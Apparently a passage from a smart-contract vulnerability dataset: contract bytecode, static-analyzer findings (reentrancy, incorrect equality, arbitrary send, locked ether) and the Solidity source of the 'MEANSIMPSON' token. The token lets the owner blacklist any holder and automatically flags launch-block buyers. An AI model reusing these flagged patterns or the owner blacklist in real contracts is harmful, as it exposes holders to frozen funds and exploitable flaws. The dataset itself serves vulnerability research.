656174657220746881526020017f616e2074686520746f74616c20686f6c64696e672e000000000000000000000081525060600191505060405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f173c6954f6574ae8ea8afd3eed2fc6ddd6f1aac55aab5e2c3a10edc59ba2dfd3826040518082815260200191505060405180910390a25050565b60096020528060005260406000206000915090505481565b600061342d82600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c7590919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613683576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f4920616d206e6f7420746865206f776e6572206f66207468652077616c6c657481526020017f2e0000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b6136d4816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bf090919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061376881600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c7590919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506137c081600154613bf090919063ffffffff16565b6001819055503373ffffffffffffffffffffffffffffffffffffffff167fcac76f4972d9ff5ad35f15943c99ef30a49b3a0203cc98c4ef401ab7b8d1a509826040518082815260200191505060405180910390a250565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613989576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f4920616d206e6f7420746865206f776e6572206f66207468652077616c6c657481526020017f2e0000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015613a145750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b8015613a70575060011515600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b1515613b30576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260488152602001807f4974206d75737420626520746865206578697374696e67206d616e616765722081526020017f77616c6c65742c206e6f7420746865206578697374696e67206f776e6572277381526020017f2077616c6c65742e00000000000000000000000000000000000000000000000081525060600191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211151515613c6a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f546865726520617265206d6f726520746f206465647563742e0000000000000081525060200191505060405180910390fd5b818303905092915050565b6000808284019050838110151515613cf5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f546865206e756d62657220646964206e6f7420696e6372656173652e0000000081525060200191505060405180910390fd5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015613d3e575060008214155b8015613d8857506000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211155b1515613e48576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260468152602001807f506c6561736520636865636b2074686520616d6f756e74206f66207472616e7381526020017f6d697373696f6e206572726f7220616e642074686520616d6f756e7420796f7581526020017f2073656e642e000000000000000000000000000000000000000000000000000081525060600191505060405180910390fd5b613e99826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bf090919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613f2c826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c7590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a72305820033b1f27eae454ac802950fa9176cff0ce6998f2bac7baf064b200e674620eb20029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
8,800
0x67d70efd4439c0beedc566aff57fe04f56439c6d
/** *Submitted for verification at Etherscan.io on 2022-02-25 */ // TG: @MEANSIMPSON // Web: MEANSIMPSON.COM // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract MEANSIMPSON is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _MAX = ~uint256(0); uint256 private constant _tTotal = 19890000 * 10**9; uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "MEANSIMPSON"; string private constant _symbol = "MEANSIMPSON"; uint private constant _decimals = 9; uint256 private _teamFee = 15; uint256 private _previousteamFee = _teamFee; address payable private _feeAddress; // Uniswap Pair IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; uint256 private _initialLimitDuration; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case."); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(2).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100); uint256 burnCount = contractTokenBalance.div(15); contractTokenBalance -= burnCount; _burnToken(burnCount); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _burnToken(uint256 burnCount) private lockTheSwap(){ _transfer(address(this), address(0xdead), burnCount); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function createNewPair(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function openTrading() external onlyOwner() { require(_initialized, "Contract must be initialized first"); _tradingOpen = true; _launchTime = block.timestamp; _initialLimitDuration = _launchTime + (30 minutes); } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function setTeamFee(uint256 fee) external onlyOwner() { require(fee <= 15); _teamFee = fee; } function setBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063b515566a1161006f578063b515566a146103c1578063c9567bf9146103e1578063cf0848f7146103f6578063dd62ed3e14610416578063e6ec64ec1461045c578063f2fde38b1461047c57600080fd5b8063715018a6146103245780638da5cb5b1461033957806390d49b9d1461036157806395d89b41146101725780639f5a5c3914610381578063a9059cbb146103a157600080fd5b806331c2d8471161010857806331c2d8471461023d5780633bbac5791461025d578063437823ec14610296578063476343ee146102b65780635342acb4146102cb57806370a082311461030457600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b557806318160ddd146101e557806323b872dd14610209578063313ce5671461022957600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5061017061049c565b005b34801561017e57600080fd5b50604080518082018252600b81526a26a2a0a729a4a6a829a7a760a91b602082015290516101ac91906118d4565b60405180910390f35b3480156101c157600080fd5b506101d56101d036600461194e565b6104e8565b60405190151581526020016101ac565b3480156101f157600080fd5b506646a9d9809520005b6040519081526020016101ac565b34801561021557600080fd5b506101d561022436600461197a565b6104ff565b34801561023557600080fd5b5060096101fb565b34801561024957600080fd5b506101706102583660046119d1565b610568565b34801561026957600080fd5b506101d5610278366004611a96565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a257600080fd5b506101706102b1366004611a96565b6105fe565b3480156102c257600080fd5b5061017061064c565b3480156102d757600080fd5b506101d56102e6366004611a96565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031057600080fd5b506101fb61031f366004611a96565b610686565b34801561033057600080fd5b506101706106a8565b34801561034557600080fd5b506000546040516001600160a01b0390911681526020016101ac565b34801561036d57600080fd5b5061017061037c366004611a96565b6106de565b34801561038d57600080fd5b5061017061039c366004611a96565b610758565b3480156103ad57600080fd5b506101d56103bc36600461194e565b6109b3565b3480156103cd57600080fd5b506101706103dc3660046119d1565b6109c0565b3480156103ed57600080fd5b50610170610ad9565b34801561040257600080fd5b50610170610411366004611a96565b610b91565b34801561042257600080fd5b506101fb610431366004611ab3565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561046857600080fd5b50610170610477366004611aec565b610bdc565b34801561048857600080fd5b50610170610497366004611a96565b610c19565b6000546001600160a01b031633146104cf5760405162461bcd60e51b81526004016104c690611b05565b60405180910390fd5b60006104da30610686565b90506104e581610cb1565b50565b60006104f5338484610e2b565b5060015b92915050565b600061050c848484610f4f565b61055e843361055985604051806060016040528060288152602001611c80602891396001600160a01b038a166000908152600360209081526040808320338452909152902054919061138f565b610e2b565b5060019392505050565b6000546001600160a01b031633146105925760405162461bcd60e51b81526004016104c690611b05565b60005b81518110156105fa576000600560008484815181106105b6576105b6611b3a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f281611b66565b915050610595565b5050565b6000546001600160a01b031633146106285760405162461bcd60e51b81526004016104c690611b05565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f193505050501580156105fa573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546104f9906113c9565b6000546001600160a01b031633146106d25760405162461bcd60e51b81526004016104c690611b05565b6106dc600061144d565b565b6000546001600160a01b031633146107085760405162461bcd60e51b81526004016104c690611b05565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000546001600160a01b031633146107825760405162461bcd60e51b81526004016104c690611b05565b600c54600160a01b900460ff16156107ea5760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104c6565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610841573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108659190611b81565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d69190611b81565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610923573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109479190611b81565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b60006104f5338484610f4f565b6000546001600160a01b031633146109ea5760405162461bcd60e51b81526004016104c690611b05565b60005b81518110156105fa57600c5482516001600160a01b0390911690839083908110610a1957610a19611b3a565b60200260200101516001600160a01b031614158015610a6a5750600b5482516001600160a01b0390911690839083908110610a5657610a56611b3a565b60200260200101516001600160a01b031614155b15610ac757600160056000848481518110610a8757610a87611b3a565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610ad181611b66565b9150506109ed565b6000546001600160a01b03163314610b035760405162461bcd60e51b81526004016104c690611b05565b600c54600160a01b900460ff16610b675760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104c6565b600c805460ff60b81b1916600160b81b17905542600d819055610b8c90610708611b9e565b600e55565b6000546001600160a01b03163314610bbb5760405162461bcd60e51b81526004016104c690611b05565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b03163314610c065760405162461bcd60e51b81526004016104c690611b05565b600f811115610c1457600080fd5b600855565b6000546001600160a01b03163314610c435760405162461bcd60e51b81526004016104c690611b05565b6001600160a01b038116610ca85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104c6565b6104e58161144d565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610cf957610cf9611b3a565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d52573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d769190611b81565b81600181518110610d8957610d89611b3a565b6001600160a01b039283166020918202929092010152600b54610daf9130911684610e2b565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610de8908590600090869030904290600401611bb6565b600060405180830381600087803b158015610e0257600080fd5b505af1158015610e16573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610e8d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c6565b6001600160a01b038216610eee5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c6565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fb35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c6565b6001600160a01b0382166110155760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c6565b600081116110775760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c6565b6001600160a01b03831660009081526005602052604090205460ff161561111f5760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104c6565b6001600160a01b03831660009081526004602052604081205460ff1615801561116157506001600160a01b03831660009081526004602052604090205460ff16155b80156111775750600c54600160a81b900460ff16155b80156111a75750600c546001600160a01b03858116911614806111a75750600c546001600160a01b038481169116145b1561137d57600c54600160b81b900460ff166112055760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104c6565b50600c546001906001600160a01b0385811691161480156112345750600b546001600160a01b03848116911614155b8015611241575042600e54115b1561128757600061125184610686565b9050611270606461126a6646a9d980952000600261149d565b9061151c565b61127a848361155e565b111561128557600080fd5b505b600d544214156112b5576001600160a01b0383166000908152600560205260409020805460ff191660011790555b60006112c030610686565b600c54909150600160b01b900460ff161580156112eb5750600c546001600160a01b03868116911614155b1561137b57801561137b57600c5461131f9060649061126a90600f90611319906001600160a01b0316610686565b9061149d565b81111561134c57600c546113499060649061126a90600f90611319906001600160a01b0316610686565b90505b600061135982600f61151c565b90506113658183611c27565b9150611370816115bd565b61137982610cb1565b505b505b611389848484846115ed565b50505050565b600081848411156113b35760405162461bcd60e51b81526004016104c691906118d4565b5060006113c08486611c27565b95945050505050565b60006006548211156114305760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104c6565b600061143a6116f0565b9050611446838261151c565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826114ac575060006104f9565b60006114b88385611c3e565b9050826114c58583611c5d565b146114465760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c6565b600061144683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611713565b60008061156b8385611b9e565b9050838110156114465760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c6565b600c805460ff60b01b1916600160b01b1790556115dd3061dead83610f4f565b50600c805460ff60b01b19169055565b80806115fb576115fb611741565b60008060008061160a8761175d565b6001600160a01b038d166000908152600160205260409020549397509195509350915061163790856117a4565b6001600160a01b03808b1660009081526001602052604080822093909355908a1681522054611666908461155e565b6001600160a01b038916600090815260016020526040902055611688816117e6565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116cd91815260200190565b60405180910390a350505050806116e9576116e9600954600855565b5050505050565b60008060006116fd611830565b909250905061170c828261151c565b9250505090565b600081836117345760405162461bcd60e51b81526004016104c691906118d4565b5060006113c08486611c5d565b60006008541161175057600080fd5b6008805460095560009055565b6000806000806000806117728760085461186e565b9150915060006117806116f0565b90506000806117908a858561189b565b909b909a5094985092965092945050505050565b600061144683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061138f565b60006117f06116f0565b905060006117fe838361149d565b3060009081526001602052604090205490915061181b908261155e565b30600090815260016020526040902055505050565b60065460009081906646a9d98095200061184a828261151c565b821015611865575050600654926646a9d98095200092509050565b90939092509050565b60008080611881606461126a878761149d565b9050600061188f86836117a4565b96919550909350505050565b600080806118a9868561149d565b905060006118b7868661149d565b905060006118c583836117a4565b92989297509195505050505050565b600060208083528351808285015260005b81811015611901578581018301518582016040015282016118e5565b81811115611913576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104e557600080fd5b803561194981611929565b919050565b6000806040838503121561196157600080fd5b823561196c81611929565b946020939093013593505050565b60008060006060848603121561198f57600080fd5b833561199a81611929565b925060208401356119aa81611929565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119e457600080fd5b823567ffffffffffffffff808211156119fc57600080fd5b818501915085601f830112611a1057600080fd5b813581811115611a2257611a226119bb565b8060051b604051601f19603f83011681018181108582111715611a4757611a476119bb565b604052918252848201925083810185019188831115611a6557600080fd5b938501935b82851015611a8a57611a7b8561193e565b84529385019392850192611a6a565b98975050505050505050565b600060208284031215611aa857600080fd5b813561144681611929565b60008060408385031215611ac657600080fd5b8235611ad181611929565b91506020830135611ae181611929565b809150509250929050565b600060208284031215611afe57600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611b7a57611b7a611b50565b5060010190565b600060208284031215611b9357600080fd5b815161144681611929565b60008219821115611bb157611bb1611b50565b500190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c065784516001600160a01b031683529383019391830191600101611be1565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c3957611c39611b50565b500390565b6000816000190483118215151615611c5857611c58611b50565b500290565b600082611c7a57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220be2be151afba39a98915558656ac2a602f85463e93050e37bae0f811f9539d0a64736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,801
0x598c30abb336948f1b8131e2468c8bcbbc7de9ae
